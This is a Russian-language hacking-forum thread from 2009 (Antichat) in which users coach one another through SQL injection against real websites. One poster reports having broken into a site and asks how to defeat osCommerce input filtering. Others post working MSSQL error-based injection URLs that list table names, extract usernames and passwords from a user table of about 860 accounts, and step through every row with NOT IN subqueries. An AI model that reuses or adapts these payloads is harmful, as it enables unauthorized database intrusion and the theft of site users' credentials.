
06.02.2009, 17:50
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
$p01nt
Победить лучше прочтением статьи по MSSQL. Там другой синтаксис. Подойдёт любая, можешь почитать эту :
https://forum.antichat.ru/thread30501.html
|
|
|

06.02.2009, 18:00
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Люди,вот такая проблема: Проник в систему,нашёл двиг,на котором крутится сайтец.
Вот функция движная,двиг не определил:
Код:
function tep_db_prepare_input($string) {
if (is_string($string)) {
return trim(stripslashes($string));
} elseif (is_array($string)) {
reset($string);
while (list($key, $value) = each($string)) {
$string[$key] = tep_db_prepare_input($value);
}
return $string;
} else {
return $string;
}
}
Она удаляет пробелы и обратные слэши,если это строка,а если это массив,то делает то же самое и для каждого элемента массива.Если это НИ то и НИ другое,то не делает НИЧЕГО,т.е. получается,что фильтрацию мы обошли(и саму функцию частично).Передаю такое:
1+order+by+1 без кавычек.Она мне выдаёт на выходе 2.Почему ? Я так понял,что он определил это как строку,но тогда почему она выполнила такое преобразование ? Пробелов-то нет,и слэшей обратных тем более.Помогите пожалуйста =_=
ЗЫ: Если передать строку в одинарных или в двойных кавычках,то тогда работает третий блок кода,но я сомневаюсь,что сервер позволит мне так играть(из-за magic_quots_gpc.Пока не проверил,но уверен,что включена).
Так... Походу,это osCommerce, Open Source E-Commerce Solutions.Не заметил я что-то )))
http://www.oscommerce.com/
Ухх,убить бы этот сайт нафиг...
Последний раз редактировалось Велемир; 06.02.2009 в 18:09..
|
|
|

06.02.2009, 18:03
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами:
9270510
Репутация:
519
|
|
$p01nt, как сказал jokester, там отличается синтаксис...
Ты заюзал синтаксис mysql, а для MSSQL нужно по другому:
www.site.ru/index.php?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM +INFORMATION_SCHEMA.TABLES)--
Узнаем название первой таблици...
Для того, чтоб узнать название следующей, нажно составить запрос вида:
www.site.ru/index.php?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM +IN FORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(' имя полученой таблици'))--
чтоб следующую :
www.site.ru/index.php?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM +IN FORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(' имя первой таблици','имя второй таблици'))--
и так далее...
Аналогично и с колонками.
|
|
|

06.02.2009, 18:17
|
|
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
С нами:
9591697
Репутация:
96
|
|
2-m0rgan-, ага, я уже разобрался по статье
Еще раз я, как мне перебрать все данные в колонке если нет поля ID и т.п.
Т.е. есть только поля:
USERNAME,USERPASSWORD
Запрос выглядит след. образом:
1+or+1=(SELECT+TOP+1+USERNAME+from+DD_Users)--
Напоминаю, я говорю про mssql inj
|
|
|

06.02.2009, 18:29
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами:
9270510
Репутация:
519
|
|
$p01nt,
http://www.site.ru/index.php?id=1+or+1=(SELECT+TOP+1+cast(USERNAME+as +nvarchar)%2B%27%3A%27%2Bcast(USERPASSWORD+as+ nvarchar)+from+DD_Users)--
Это выведит даные из USERNAME и USERPASSWORD
А на счет перебора, я хз...возможно там только один юзер...
|
|
|

06.02.2009, 18:33
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами:
10227206
Репутация:
2163
|
|
select username from dd_users where username not in (select top 1(2,3,..,n) username from dd_users)
|
|
|

06.02.2009, 18:32
|
|
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
С нами:
9591697
Репутация:
96
|
|
Дык я уже написал вывод, нужен именно перебор!! Там 100% 860 юзеров 
Как же все таки перебрать?
|
|
|

06.02.2009, 18:45
|
|
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
С нами:
9591697
Репутация:
96
|
|
l1ght, обьясни пожалуйста команду и если можно на моем примере.
|
|
|

06.02.2009, 18:51
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами:
10227206
Репутация:
2163
|
|
2
1+or+1=(select top 1 convert(char,username%2b';'%2buserpassword) from dd_users where username not in (select top 1 username from dd_users))
3
1+or+1=(select top 1 convert(char,username%2b';'%2buserpassword) from dd_users where username not in (select top 2 username from dd_users))
4
1+or+1=(select top 1 convert(char,username%2b';'%2buserpassword) from dd_users where username not in (select top 3 username from dd_users))
and so on
/add Велемир, если про:
но работают условия типа 1+and+1
а выражение 1%2band%2b1=1 - нет
видимо модреврайт on)
Последний раз редактировалось l1ght; 06.02.2009 в 19:11..
|
|
|

06.02.2009, 18:52
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Никто не поможет чтоли ?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|